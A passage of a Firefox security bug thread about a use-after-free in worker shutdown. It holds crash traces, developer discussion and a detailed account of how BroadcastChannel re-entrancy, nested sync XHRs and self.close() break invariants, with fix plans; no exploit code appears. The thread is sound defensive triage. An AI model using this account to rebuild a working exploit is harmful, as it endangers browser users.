11 13dafbac 58df8f20 xul!NS_ProcessNextEvent+0x2b [z:\task_1555535245\build\src\xpcom\threads\nsThreadUtils.cpp @ 486]
12 13dafbd8 58dd0764 xul!mozilla::ipc::MessagePumpForNonMainThreads::Run+0x100 [z:\task_1555535245\build\src\ipc\glue\MessagePump.cpp @ 333]
13 13dafc10 58df8553 xul!MessageLoop::RunHandler+0x44 [z:\task_1555535245\build\src\ipc\chromium\src\base\message_loop.cc @ 309]
14 13dafc48 66db8906 xul!nsThread::ThreadFunc+0x173 [z:\task_1555535245\build\src\xpcom\threads\nsThread.cpp @ 454]
15 13dafc78 66da7e0d nss3!_PR_NativeRunThread+0x116 [z:\task_1555535245\build\src\nsprpub\pr\src\threads\combined\pruthr.c @ 397]
16 13dafc84 74f10f5f nss3!pr_root+0xd [z:\task_1555535245\build\src\nsprpub\pr\src\md\windows\w95thred.c @ 137]
17 13dafcc0 76518494 ucrtbase!thread_start<unsigned int (__stdcall*)(void *)>+0x3f
18 13dafcd4 6824638b KERNEL32!BaseThreadInitThunk+0x24
19 13dafd0c 77bc41c8 mozglue!patched_BaseThreadInitThunk+0x8b [z:\task_1555535245\build\src\mozglue\build\WindowsDllBlocklist.cpp @ 705]
1a 13dafd54 77bc4198 ntdll!__RtlUserThreadStart+0x2f
1b 13dafd64 00000000 ntdll!_RtlUserThreadStart+0x1b

Assignee: nobody → ytausky

Running this with assertions enabled and ASAN on, I get this assertion failure:

Assertion failure: !mCancelAllPendingRunnables, at /Users/yarontausky/src/gecko/dom/workers/WorkerPrivate.cpp:3294
#01: mozilla::dom::WorkerPrivate::DestroySyncLoop(unsigned int)[/Users/yarontausky/src/gecko/obj/dist/NightlyDebug.app/Contents/MacOS/XUL +0xb811fa8]
#02: mozilla::dom::WorkerPrivate::RunCurrentSyncLoop()[/Users/yarontausky/src/gecko/obj/dist/NightlyDebug.app/Contents/MacOS/XUL +0xb8114d1]
#03: mozilla::dom::XMLHttpRequestWorker::SendInternal(mozilla::dom::SendRunnable*, mozilla::ErrorResult&)[/Users/yarontausky/src/gecko/obj/dist/NightlyDebug.app/Contents/MacOS/XUL +0xbe038cd]
#04: mozilla::dom::XMLHttpRequestWorker::Send(JSContext*, mozilla::dom::Nullable<mozilla::dom::DocumentOrBlobOrArrayBufferViewOrArrayBufferOrFormDataOrURLSearchParamsOrUSVString> const&, mozilla::ErrorResult&)[/Users/yarontausky/src/gecko/obj/dist/NightlyDebug.app/Contents/MacOS/XUL +0xbe07c90]
#05: mozilla::dom::XMLHttpRequest_Binding::send(JSContext*, JS::Handle<JSObject*>, mozilla::dom::XMLHttpRequest*, JSJitMethodCallArgs const&)[/Users/yarontausky/src/gecko/obj/dist/NightlyDebug.app/Contents/MacOS/XUL +0x7b63faf]
#06: bool mozilla::dom::binding_detail::GenericMethod<mozilla::dom::binding_detail::NormalThisPolicy, mozilla::dom::binding_detail::ThrowExceptions>(JSContext*, unsigned int, JS::Value*)[/Users/yarontausky/src/gecko/obj/dist/NightlyDebug.app/Contents/MacOS/XUL +0x8b8aa1d]
#07: CallJSNative(JSContext*, bool (*)(JSContext*, unsigned int, JS::Value*), JS::CallArgs const&)[/Users/yarontausky/src/gecko/obj/dist/NightlyDebug.app/Contents/MacOS/XUL +0x11713d3b]
#08: js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct)[/Users/yarontausky/src/gecko/obj/dist/NightlyDebug.app/Contents/MacOS/XUL +0x11711c8f]
#09: Interpret(JSContext*, js::RunState&)[/Users/yarontausky/src/gecko/obj/dist/NightlyDebug.app/Contents/MacOS/XUL +0x116e9c9d]
#10: js::RunScript(JSContext*, js::RunState&)[/Users/yarontausky/src/gecko/obj/dist/NightlyDebug.app/Contents/MacOS/XUL +0x116c7a5e]
#11: js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct)[/Users/yarontausky/src/gecko/obj/dist/NightlyDebug.app/Contents/MacOS/XUL +0x11711c34]
#12: js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>)[/Users/yarontausky/src/gecko/obj/dist/NightlyDebug.app/Contents/MacOS/XUL +0x1171588d]
#13: JS::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::HandleValueArray const&, JS::MutableHandle<JS::Value>)[/Users/yarontausky/src/gecko/obj/dist/NightlyDebug.app/Contents/MacOS/XUL +0x12a77a58]
#14: mozilla::dom::EventHandlerNonNull::Call(JSContext*, JS::Handle<JS::Value>, mozilla::dom::Event&, JS::MutableHandle<JS::Value>, mozilla::ErrorResult&)[/Users/yarontausky/src/gecko/obj/dist/NightlyDebug.app/Contents/MacOS/XUL +0x7f6fc43]
#15: void mozilla::dom::EventHandlerNonNull::Call<nsCOMPtr<mozilla::dom::EventTarget> >(nsCOMPtr<mozilla::dom::EventTarget> const&, mozilla::dom::Event&, JS::MutableHandle<JS::Value>, mozilla::ErrorResult&, char const*, mozilla::dom::CallbackObject::ExceptionH[/Users/yarontausky/src/gecko/obj/dist/NightlyDebug.app/Contents/MacOS/XUL +0x95e2940]
#16: mozilla::JSEventHandler::HandleEvent(mozilla::dom::Event*)[/Users/yarontausky/src/gecko/obj/dist/NightlyDebug.app/Contents/MacOS/XUL +0x95df712]
#17: mozilla::EventListenerManager::HandleEventSubType(mozilla::EventListenerManager::Listener*, mozilla::dom::Event*, mozilla::dom::EventTarget*)[/Users/yarontausky/src/gecko/obj/dist/NightlyDebug.app/Contents/MacOS/XUL +0x958dea3]
#18: mozilla::EventListenerManager::HandleEventInternal(nsPresContext*, mozilla::WidgetEvent*, mozilla::dom::Event**, mozilla::dom::EventTarget*, nsEventStatus*, bool)[/Users/yarontausky/src/gecko/obj/dist/NightlyDebug.app/Contents/MacOS/XUL +0x958fdd0]
#19: mozilla::EventTargetChainItem::HandleEvent(mozilla::EventChainPostVisitor&, mozilla::ELMCreationDetector&)[/Users/yarontausky/src/gecko/obj/dist/NightlyDebug.app/Contents/MacOS/XUL +0x9569b38]
#20: mozilla::EventTargetChainItem::HandleEventTargetChain(nsTArray<mozilla::EventTargetChainItem>&, mozilla::EventChainPostVisitor&, mozilla::EventDispatchingCallback*, mozilla::ELMCreationDetector&)[/Users/yarontausky/src/gecko/obj/dist/NightlyDebug.app/Contents/MacOS/XUL +0x9567316]
#21: mozilla::EventDispatcher::Dispatch(nsISupports*, nsPresContext*, mozilla::WidgetEvent*, mozilla::dom::Event*, nsEventStatus*, mozilla::EventDispatchingCallback*, nsTArray<mozilla::dom::EventTarget*>*)[/Users/yarontausky/src/gecko/obj/dist/NightlyDebug.app/Contents/MacOS/XUL +0x956f585]
#22: mozilla::EventDispatcher::DispatchDOMEvent(nsISupports*, mozilla::WidgetEvent*, mozilla::dom::Event*, nsPresContext*, nsEventStatus*)[/Users/yarontausky/src/gecko/obj/dist/NightlyDebug.app/Contents/MacOS/XUL +0x957a2ba]
#23: mozilla::DOMEventTargetHelper::DispatchEvent(mozilla::dom::Event&, mozilla::dom::CallerType, mozilla::ErrorResult&)[/Users/yarontausky/src/gecko/obj/dist/NightlyDebug.app/Contents/MacOS/XUL +0x9512c9d]
#24: mozilla::dom::EventTarget::DispatchEvent(mozilla::dom::Event&)[/Users/yarontausky/src/gecko/obj/dist/NightlyDebug.app/Contents/MacOS/XUL +0x95a3902]
#25: mozilla::dom::BroadcastChannelChild::RecvNotify(mozilla::dom::ClonedMessageData const&)[/Users/yarontausky/src/gecko/obj/dist/NightlyDebug.app/Contents/MacOS/XUL +0xb8c6ba1]
#26: mozilla::dom::PBroadcastChannelChild::OnMessageReceived(IPC::Message const&)[/Users/yarontausky/src/gecko/obj/dist/NightlyDebug.app/Contents/MacOS/XUL +0x291d860]
#27: mozilla::ipc::PBackgroundChild::OnMessageReceived(IPC::Message const&)[/Users/yarontausky/src/gecko/obj/dist/NightlyDebug.app/Contents/MacOS/XUL +0x22bbf38]
#28: mozilla::ipc::MessageChannel::DispatchAsyncMessage(IPC::Message const&)[/Users/yarontausky/src/gecko/obj/dist/NightlyDebug.app/Contents/MacOS/XUL +0x1ab6370]
#29: mozilla::ipc::MessageChannel::DispatchMessage(IPC::Message&&)[/Users/yarontausky/src/gecko/obj/dist/NightlyDebug.app/Contents/MacOS/XUL +0x1aaf72f]
#30: mozilla::ipc::MessageChannel::RunMessage(mozilla::ipc::MessageChannel::MessageTask&)[/Users/yarontausky/src/gecko/obj/dist/NightlyDebug.app/Contents/MacOS/XUL +0x1ab22e7]
#31: mozilla::ipc::MessageChannel::MessageTask::Run()[/Users/yarontausky/src/gecko/obj/dist/NightlyDebug.app/Contents/MacOS/XUL +0x1ab3898]
#32: nsThread::ProcessNextEvent(bool, bool*)[/Users/yarontausky/src/gecko/obj/dist/NightlyDebug.app/Contents/MacOS/XUL +0x41e3a0]
#33: NS_ProcessPendingEvents(nsIThread*, unsigned int)[/Users/yarontausky/src/gecko/obj/dist/NightlyDebug.app/Contents/MacOS/XUL +0x4158a6]
#34: mozilla::dom::WorkerPrivate::ClearMainEventQueue(mozilla::dom::WorkerPrivate::WorkerRanOrNot)[/Users/yarontausky/src/gecko/obj/dist/NightlyDebug.app/Contents/MacOS/XUL +0xb80a7d2]
#35: mozilla::dom::WorkerPrivate::DestroySyncLoop(unsigned int)[/Users/yarontausky/src/gecko/obj/dist/NightlyDebug.app/Contents/MacOS/XUL +0xb811fa8]
#36: mozilla::dom::WorkerPrivate::RunCurrentSyncLoop()[/Users/yarontausky/src/gecko/obj/dist/NightlyDebug.app/Contents/MacOS/XUL +0xb8114d1]
#37: mozilla::dom::(anonymous namespace)::LoadAllScripts(mozilla::dom::WorkerPrivate*, nsTArray<mozilla::dom::(anonymous namespace)::ScriptLoadInfo>&, bool, mozilla::dom::WorkerScriptType, mozilla::ErrorResult&)[/Users/yarontausky/src/gecko/obj/dist/NightlyDebug.app/Contents/MacOS/XUL +0xb771aaa]
#38: mozilla::dom::workerinternals::LoadMainScript(mozilla::dom::WorkerPrivate*, nsTSubstring<char16_t> const&, mozilla::dom::WorkerScriptType, mozilla::ErrorResult&)[/Users/yarontausky/src/gecko/obj/dist/NightlyDebug.app/Contents/MacOS/XUL +0xb77093a]
#39: mozilla::dom::(anonymous namespace)::CompileScriptRunnable::WorkerRun(JSContext*, mozilla::dom::WorkerPrivate*)[/Users/yarontausky/src/gecko/obj/dist/NightlyDebug.app/Contents/MacOS/XUL +0xb859995]
#40: mozilla::dom::WorkerRunnable::Run()[/Users/yarontausky/src/gecko/obj/dist/NightlyDebug.app/Contents/MacOS/XUL +0xb833e05]
#41: nsThread::ProcessNextEvent(bool, bool*)[/Users/yarontausky/src/gecko/obj/dist/NightlyDebug.app/Contents/MacOS/XUL +0x41e3a0]
#42: NS_ProcessNextEvent(nsIThread*, bool)[/Users/yarontausky/src/gecko/obj/dist/NightlyDebug.app/Contents/MacOS/XUL +0x42b324]
#43: mozilla::dom::WorkerPrivate::DoRunLoop(JSContext*)[/Users/yarontausky/src/gecko/obj/dist/NightlyDebug.app/Contents/MacOS/XUL +0xb7ff9d5]
#44: mozilla::dom::workerinternals::(anonymous namespace)::WorkerThreadPrimaryRunnable::Run()[/Users/yarontausky/src/gecko/obj/dist/NightlyDebug.app/Contents/MacOS/XUL +0xb79e846]
#45: nsThread::ProcessNextEvent(bool, bool*)[/Users/yarontausky/src/gecko/obj/dist/NightlyDebug.app/Contents/MacOS/XUL +0x41e3a0]
#46: NS_ProcessNextEvent(nsIThread*, bool)[/Users/yarontausky/src/gecko/obj/dist/NightlyDebug.app/Contents/MacOS/XUL +0x42b324]
#47: mozilla::ipc::MessagePumpForNonMainThreads::Run(base::MessagePump::Delegate*)[/Users/yarontausky/src/gecko/obj/dist/NightlyDebug.app/Contents/MacOS/XUL +0x1ac489e]
#48: MessageLoop::RunInternal()[/Users/yarontausky/src/gecko/obj/dist/NightlyDebug.app/Contents/MacOS/XUL +0x1972961]
#49: MessageLoop::Run()[/Users/yarontausky/src/gecko/obj/dist/NightlyDebug.app/Contents/MacOS/XUL +0x197259e]
#50: nsThread::ThreadFunc(void*)[/Users/yarontausky/src/gecko/obj/dist/NightlyDebug.app/Contents/MacOS/XUL +0x413d86]
#51: _pt_root[/Users/yarontausky/src/gecko/obj/dist/NightlyDebug.app/Contents/MacOS/libnss3.dylib +0x423007]
#52: _pthread_body[/usr/lib/system/libsystem_pthread.dylib +0x32eb]
#53: _pthread_start[/usr/lib/system/libsystem_pthread.dylib +0x6249]
Status: NEW → ASSIGNED
Priority: -- → P2

Is there anyone working on this bug? It's reported almost 2 months ago.

Thanks for checking. It is indeed being worked, but we're trying hard to avoid just pushing the signatures around. There are some systemic issues around worker shutdown that we're looking into.

That said, I don't think I'd fully processed comment 2 indicating control over the instruction pointer. Can you clarify what build you reproduced that on? We may need to land a combination of changes that shunt this scenario to crashes or early failures.

Flags: needinfo?(loobenyang)

(In reply to Andrew Sutherland [:asuth] (he/him) from comment #5)

Thanks for checking. It is indeed being worked, but we're trying hard to avoid just pushing the signatures around. There are some systemic issues around worker shutdown that we're looking into.

That said, I don't think I'd fully processed comment 2 indicating control over the instruction pointer. Can you clarify what build you reproduced that on? We may need to land a combination of changes that shunt this scenario to crashes or early failures.

That's run against an official 32 bit Firefox nightly build from Mozilla, a latest nightly build on that day.

Firefox version: 68.0a1 (2019-04-17) (32-bit)

Flags: needinfo?(loobenyang)

Any updates?

Flags: needinfo?(bugmail)
Assignee: ytausky → bugmail

Is there any update? It's almost 3 months.
Usually security bugs were fixed in a couple weeks. If some developers were overloaded, can this be assigned to someone else?

Tracking Requested - why for this release: sec-high.

It's too late for 68 at this point.

status-firefox68: affected → wontfix
status-firefox69: --- → affected
status-firefox-esr68: --- → affected
tracking-firefox69: --- → +
tracking-firefox-esr68: --- → ?

We have a stack of patches in bug 1559919 that we believe should improve worker invariants in general. We'll be trying to land these this week and mop up the rest of the related worker life-cycle invariants as well that aren't fixed. The particular concern for this bug is that IPC messages continued to be processed and run content-exposed code after they should (plus some extra complexities involving the sync loop).

Flags: needinfo?(bugmail)

I'm going to assume that bug 1559919 isn't something we can uplift, so where does that leave us for Fx69/ESR68 for this bug? Is there anything we can do at least make this a safe crash there or something?

Flags: needinfo?(bugmail)

This bug missed the 90 day deadline advocated by Google. It never happens before with Mozilla.

Massive apologies on the delays on this bug.

Bug 1559919 did not address the invariant issues. So here's the current analysis and plans for imminent fixes:

What the Test Case Is Doing

  • Page:
    • Creates a worker.
    • Spams the worker using BroadcastChannel. The (emergent) intent of this is
      to trigger a synchronous XHR from inside
      DestroySyncLoop/ClearMainEventQueue, creating a nested clearing/syncloop
      destruction.
    • Triggers a page reload.
      • This results in an attempt to terminate the worker, although it's not
        clear that this is necessary for the reproduction.
      • This also just reloads the whole scenario, helping to increase the
        likelihood of a nested syncloop occurring thanks to broadcast channel.
  • Worker:
    • Creates a BroadcastChannel listener whose (async) message handler initiates
      a synchronous XHR and then aborts it once it completes.
      • Both methods are WorkerThreadProxySyncRunnables which means they both
        create syncloops which means this widens the potenial for a nested
        syncloop to be created by the BroadcastChannel message.
      • These both end up needing to bounce to the main thread because that's
        where the canonical state lives. (Even if the XHR object should
        notionally not need to consult the main thread, it does unless the worker
        has reached cancellation state.)
    • Creates a file reader that configures the XHR for synchronous operation when
      the load completes (or aborts, as is the case in this situation.)
    • Creates the XHR (before close).
    • Calls self.close() which, because this is a top-level script load which
      means we're in a sync loop, causes a deferred invocation of
      ClearMainEventQueue and defers dispatching the cancel runnable. From a
      spec perspective, it should be impossible to ever dispatch another task to
      the worker after this point.
      • We previously had a safer behavior where we would fail to do a lot of
        things after this point that would be observable by other globals despite
        this global's inability to receive and process further tasks. We
        corrected this, allowing BroadcastChannel messages to be set, etc., and
        somewhat weakening our guards against dubious things happening after
        close() is called.
    • Calls FileReader.readAsArrayBuffer:
      • This is probably fine. This code intends to be a no-op when the worker is
        shutting down (and indeed, with close called, per spec, the load can never
        complete), but because the weak worker ref is tied to canceling, the
        closing state has no effect. But this is likely fine because the state
        per spec should advance to loading, and that is observable per the spec
        for abort() which will generate synchronous event dispatches.
      • This puts us in mReadyState of LOADING and triggers an async wait.
    • Calls FileReader.abort:
      • Because of the above call to readAsArrayBuffer, this does not fast-bail.
        We trigger a synchronous dispatch of the "loadend" event which triggers
        the logic to configure the XHR to be synchronous. It's not clear that
        the FileReader is entirely necessary to the reproduction, but this
        behavior does seem necessary per spec. (And is harmless unless I'm
        missing a nuance.)
    • The script reaches the end of its evaluation, which will cause the syncloop
      to attempt to unwind. Which means it will attempt to call
      ClearMainEventQueue. Unfortunately, BroadcastChannel operates on an IPC
      threading model and so doesn't get its event canceled. Instead its event
      gets processed and the logic in BroadcastChannelChild::RecvNotify's that
      calls only DOMEventTargetHelper::CheckCurrentGlobalCorrectness() to check
      the state of the worker ends up confused and dispatches an event that
      should never have been dispatched. (Although bug 1455020 was notionally
      concerned about this when it renamed the method, it only added an
      mParentObject check. This check is really a check of whether
      WorkerGlobalScope::NoteTerminating() has been invoked which then calls
      DisconnectEventTargetObjects(). But NoteTerminating is only called when
      WorkerPrivate::NotifyInternal is invoked with a status >= Canceling, which
      Close is not. (And as noted above, the cancelling state is deferred. It
      only runs when DestroySyncLoop has returned from ClearMainEventQueue()!)).

What Invariants Are Going Wrong

  • BroadcastChannel is dispatching events when it should not be. This is the
    primary invariant violation here, as it's allowing content to be invoked on
    the stack when it's absolutely not expected to be invoked on the stack. It's
    depending on one of the following things to protect it:
    • Being wrapped into a WorkerRunnable so it gets canceled instead of run.
      (It's not because it's IPC and it's not using the hybrid event target.)
      • The control flow for canceling WorkerRunnables is extra insane, as it
        depends on WorkerRunnable::Run() noticing that
        WorkerPrivate::AllPendingRunnablesShouldBeCanceled() returns true. Normal
        runnables just run.
      • Unfortunately event hybrid event target wrapping is semantically
        problematic because it coerces the normal runnables into control
        runnables.
    • Having DOMEventTargetHelper protect it from dispatching the event. (It's
      not because DOMEventTargetHelper's guard is only effective once the worker
      has reached the Canceling state, which it has not because the event is
      being invoked inside the syncloop destruction which will only advance to
      the canceling state after the event loop is drained.)
      • It is reasonable to enforce that ClearMainEventQueue should preclude
        event dispatch to occur while clearing the queue. We should either fail
        to dispatch or crash. It's arguably reasonable to enforce this at both
        the DETH level as well as the global level.
      • From a semantics level, it makes sense to explicitly have checks for
        whether it's currently legal to call into content and whether it's legal
        to enqueue tasks. Unfortunately, both self.close() and syncloops throw
        wrenches into clear state transitions here. close() definitely precludes
        future task enqueueing. And syncloop unwinding definitely creates
        intervals where calls into content are indicative of fatal invariant
        violations (specifically, when clearing the event queue).
  • DestroySyncLoop isn't preventing reentrancy into the mSyncLoopStack.IsEmpty()
    actions, although, again, it's the calls into content that are forcing the
    issue.
    • The double-dispatch of the CancelingRunnables is notionally idempotent and
      okay in terms of reference counting, it's really just the event loop
      clearing that causes issues.
  • XMLHttpRequestWorker.cpp's EventRunnable::WorkerRun takes a copy of
    mProxy's raw, non-owning pointer and passes it onwards to
    ProgressEvent::Constructor or NS_NewDOMEvent, both of whom derive an owning
    RefPtr or nsCOMPtr. This enables a use-after-free on XMLHttpRequestWorker in
    the event of apparent event reordering. This is a thing that's possible when
    you have re-entrancy of syncloop destruction/content invocation on top of a
    syncloop, as this cancels all runnables after the current runnable when our
    invariants expect this to be impossible, allowing naive assumptions of
    strong-refs being held by things that can only be deleted chronologically in a
    future turn of the event loop being violated.
    • NB: I need to explain this better. To restate somewhat more explicitly:
      sync calls from workers assume that no content re-entrancy can occur. The
      whole point of the nested event queues and syncloops is that no content
      re-entrancy ever occurs. This limits the ability to create mismatched
      ownership situations because any GC or strong references on the stack before
      the code went synchronous continue to exist.

So The (Non)Action Items

  • The IPC/runnable issue is important but hard to address because of the
    divergence between what the Cache API expects in terms of semantics (IPC is
    chrome privileged) and what implementations like BroadcastChannel expect
    (IPC is content privileged, roughly speaking).
  • Preventing calls into content JS when no longer appropriate is therefore
    paramount. This can be addressed from multiple sides:
    • ClearEventQueue can 100% inhibit calls into JS by DETH or any code until
      explicitly cleared.
    • DOMEventTargetHelper can be made to understand when it is being used in a
      context that is explicitly synchronously reentrant from content, versus when
      it is being used in an explicitly asynchronous fashion. This is a unique
      distinction for workers, but a necessary and fundamental distinction in the
      face of self.close(). APIs such as BroadcastChannel and MessageChannel
      have explicitly async dispatches (at least for our IPC handlers; there
      may be some edge-cases for MessageChannels for freshly created channels that
      haven't had their ports shipped/entangled/etc.). In these cases, any
      attempt shoudl 100% fail after self.close() is called. The only wackiness
      we allow with sync XHR/etc. is that the stack be unwound. No further
      tasks should ever get to run.
  • The syncloop reentrancy/mPostSyncLoopOperations-double-invocation needs harder
    guards that ensure we aren't allowed to start a new syncloop while popping the
    current one. A lesser option would be to reorder the stack consultation so
    that we noticed we're at 1 to sensitize for the call but don't actually pop
    down to 0 until the return, which would result in the nested seeing a 2->1
    transition instead of an additional, duplicative 1->0 transition, but it's
    really not okay to be pushing an additional syncloop. (Syncloops should only
    be allowed to be entered when in content, but it's not okay to be in content
    at that time.)

I'll attempt to get a candidate set of fixes with appropriate reproduction confirmations of this tomorrow. (That is, the reproduction should properly trigger failsafe assertions in the initial draft of the patch, and then the reproduction should only generate errors in the second draft of the patch wherein the invariants are properly guarded against without triggering the backstop crashing assertions.) This may spill into Friday as I try and better validate that I understand how the actual use-after-free is occurring.

Flags: needinfo?(bugmail)
Priority: P2 → P1

re-rating sec-critical based on comment 2's PoC (EIP control, not just ASAN detection)

Keywords: sec-high → sec-critical
Flags: sec-bounty? → sec-bounty+

I'm experiencing difficulty right now reproducing on nightly under linux64 opt, debug, or opt asan under both reproduction test cases including with a release assert on calling into JS content when ClearMainEventQueue and running asan and opt under rr (primarily attempting to offset my fast multi-core machine by serializing execution). And this includes running multiples tabs concurrently.

We did correct our worker thread priority from being below-normal to normal though (which I think is a significant priority difference on windows), so it's likely we've made it harder to reproduce the exact situation in question.

Tomorrow I'll endeavor to create a variation that just spams BroadcastChannel messages to trigger content re-entrancy in syncloop unwinding after self.close() is involved. That should be sufficient to validate the hard backstop content re-entrancy guards and the broadcast channel DOMEventTargetHelper guards. Once that's working (and those guards disabled again) it should be simple enough to expose an oracle to content to let it know when to trigger a nested syncloop and to verify we avoid attempting to perform the last-syncloop actions twice.

I'll also pursue local windows builds since that's the platform of greatest concern. Also if anyone has any recent reproduction backtraces on hand, please do paste/attach them to the bug as it would be useful to help account for code drift. (But no need to go out of your way. It's clear the content re-entrancy issues continues to exist even if it's somewhat harder to reproduce them.)

Status update:

  • Reproducing BroadcastChannel re-entrancy is in fact very easy. I created a mochitest for reproduction assistance.
  • Reproducing the GC problem that led to the crash has been harder against trunk, so I'm planning to reproduce on the original revision and then potentially bisect a bit.
    • In my comment 13 analysis I was overly focused on the re-entrancy invariants and that Yaron's ASAN repro provided evidence of this, but I'm still trying to reconstruct how we could end up with both an XMLHttpRequestWorker in the snow-white list that gets MaybeKillObject()ed (meaning it has a 0 refcount at the time of deletion) as well as have the dom::Event whose underlying WidgetEvent has an nsCOMPtr reference to the same XMLHttpRequestWorker itself be in the snow-white list. By rolling back to the code at the time of a known repro, I hope to reproduce under rr/pernosco and then leverage that to create a more targeted reproducing test and verify how that applies to trunk through the impending release.

We can't realistically get a safe fix for this for Fx69 ahead of next week's RC, so updating the flags accordingly.

status-firefox69: affected → wontfix
status-firefox70: --- → affected
tracking-firefox70: --- → +

I've reproduced on the old build under ASAN, but naive efforts at reproducing under rr chaos and non-chaos didn't immediately work, so I'll be iterating a little bit.

Got a variant on the test to reproduce on the old code under rr and am currently analyzing in pernosco via pernosco-submit.

Okay, wow.

https://pernos.co/debug/Op7WisIFoj25NC1245b9Cw/index.html#f{m[BNhV,fvs_,t[sA,UXg_,f{e[BNhV,fvI_,s{af4mB4IAA,bAdQ,oDXIuoQ,uDWRuTA___

nsIGlobalObject::DisconnectEventTargetObjects in WorkerGlobalScope::NoteTerminating in WorkerPrivate::ProcessAllControlRunnablesLocked in WorkerPrivate::InterruptCallback in JSContext::handleInterrupt in JS callstack in BC::Msg DispatchEvent in DestroySyncLoop/ClearMainEventQueue in XHRW::Send/SendInternal in BC::Msg in Destroy/Clear in XHRW::Send/SendI in BC::Msg ETC ETC

The key things here are:

  • We have a sync event dispatch on the stack into JS space. The dispatch to the target does not have a kung fu death grip and assumes that mProxy continues to hold a strong ref to the XHRW.
  • WE ARE PROCESSING CONTROL RUNNABLES IN THE MIDDLE OF ARBITRARY JS CONTENT IN THE INTERRUPT CALLBACK.
  • WE ARE DISCONNECTING THE EVENT TARGETS IN THE MIDDLE OF SYNCHRONOUS EVENT DISPATCH.

Some of these things are concerning. I leave it as an exercise to the reader to infer which ones most terrifyingly are violating invariants...

Note that the intents here I think are reasonable. We do want to ensure that an infinite looping worker can be terminated by its parent/owner. That's absolutely reasonable. However, much like the syncloop semantics that defer the actual ramifications of self.close() until the stack is successfully unwound, we should not be actually undertaking the teardown of the global in this manner while we have potentially multiple syncloops on the stack as well as event dispatch. (However, it's fine to ensure that all JS content frames for the global immediately error all the way up the stack... the idea is just that much like the cycle collector hygienically defers the actual deletion of objects, it's wiser for us to defer DETH-disconnect and strong reference dropping until there's no longer any content and naive C++ frames on the stack. Although we should ensure kung fu grips are held in places where they aren't currently held but should be held...)

The particular test I used to reproduce this problem has also resulted in the given scenario happening inside asymmetrically paired Pin/Unpin calls, so that may also be involved or the dominant issue. I'll look into that tomorrow as well.

Andrew - are you still working on this issue? Anyone else you could pull into it for help?

status-firefox71: --- → affected
tracking-firefox71: --- → +
Flags: needinfo?(bugmail)

Still working, yes. Expect an update soon.

Flags: needinfo?(bugmail)

I'll keep tracking this for 70 to keep it on the radar for potential dot release.

(In reply to Andrew Sutherland [:asuth] (he/him) from comment #24)

Still working, yes. Expect an update soon.

Hi Andrew, do you have an update on this bug? Thanks

Flags: needinfo?(bugmail)
See Also: → CVE-2019-17008
See Also: → 1557732
See Also: CVE-2019-17008 →

(For those playing along at home, Andrew Sutherland told me he's trying to figure out why this isn't reproducible on more recent builds (or how the testcase needs to be changed to do so)).

Too late for a fix in 70 at this point.

status-firefox70: affected → wontfix

Finishing up attempting creating reproduction test case.

Flags: needinfo?(bugmail)

We could still potentially get a patch into 72 beta, tracking for 72.

status-firefox72: --- → affected
status-firefox73: --- → affected
tracking-firefox72: --- → +
tracking-firefox73: --- → +

Attempts to re-create this on trunk post-landing of bug 1588248 seem to indicate that the problem has been mitigated since that landed in 72. I believe the particular permutation of events was the Sync XHR on the stack twice with the DETH global destruction on the stack (and then multiple Unpin calls lined up). Since it's no longer possible to get the same Sync XHR on the stack twice, the UAF is mitigated.

I'm going to start putting up patches later today with variants of

  1. Allow the global to mark when JS shouldn't run.
  2. Have BroadcastChannel/friends check to not even bother trying to run JS in the closing state.
  3. Defer global destruction until the stack has actually unwound.

Any of the 3 would have prevented the problem, although all 3 are required for sanity/correctness.

Depends on: 1588248

For the fixes here, we'll also want bug 1588248 uplifted to esr68 to help mitigate. I've requested uplift approval for the fix on that bug.

Is this ready for sec-approval?

status-firefox76: --- → affected
tracking-firefox76: --- → +
Flags: needinfo?(bugmail)

No, we want :baku's review as well. I've upgraded his review request to blocking to make that clear.

Relatedly, has our taskcluster migration given us a private try server that we can safely push security fixes to in order to have better test coverage than my local testing?

Flags: needinfo?(bugmail)

Setting NI on baku for review as well.

Flags: needinfo?(amarchesini)
Flags: needinfo?(amarchesini)

I'm currently running additional local tests against trunk and ESR68. :RyanVM indicated via other channels that there is not currently a private try server available.

The exact test-case no longer reproduced, but I've been concerned about other potential syncloop gadgets so now after some assistance from :jkratzer I'm pursuing directed fuzzing. The question I'm trying to answer is whether we've already mitigated the class of UAFs initially seen on this bug, and if so, on which releases it's mitigated. The rationale is that there is some level of analytic complexity risk from the fix and it would be preferable to land it on trunk only, at least initially.

And by class of UAFs I mean:

  • MessageChannel/BroadcastChannel allow content to run during syncloop destruction.
  • Syncloop-using APIs are called during syncloop destruction in a way that allows for use-after-frees due to bad assumptions in syncloop-using code. (This may have required bad assumptions in conjunction with unsafe uses of raw pointers in cases that erroneously assume the raw pointer usage was covered by a strong reference.)

Sounds like this might be too risky to land late in the beta cycle, so I'll call it wontfix for 75; hopefully we can have it bake some more on 76.

status-firefox75: affected → wontfix

Comment on attachment 9130470 [details]
Bug 1545345 - Improve worker shutdown. r=baku,smaug

Security Approval Request

  • How easily could an exploit be constructed based on the patch?: Not 100% clear at this time. It's possible that the landing of bug 1588248 (which is now on all supported branches including ESR68) solved the only UAF. I'm attempting local fuzzing to see if other issues might exist, but we can consider sec-approval in parallel to me finishing that up.

This patch is about closing holes that definitely result in invariants being violated. We do know how to violate the invariants from tests, we don't know how to cause a UAF.

If someone suspects that the patch might be related to a secbug, they might be suspicious of things involving syncloops and content re-entrancy. This would give them a general idea of what to pursue, but various things that have landed (workers run at higher priorities, we do more global checks, etc.) should have upped the difficulty level.

We do have bugs on generally improving the state of workers so we could try and land this under the auspices of a bug like bug 1539508.

  • Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: Unknown
  • Which older supported branches are affected by this flaw?: esr68?
  • If not all supported branches, which bug introduced the flaw?: None
  • Do you have backports for the affected branches?: Yes
  • If not, how different, hard to create, and risky will they be?:
  • How likely is this patch to cause regressions; how much testing does it need?: The patch was intentionally designed to not be risky, but it's still touching/fixing stuff that's scary. In discussion with RyanVM (and his discussions), we've been talking about letting this just ride the train on nightly to beta and in general seeing how it bakes.
Attachment #9130470 - Flags: sec-approval?
No longer blocks: 1547059
Attachment #9130470 - Flags: sec-approval? → sec-approval+

If someone suspects that the patch might be related to a secbug,

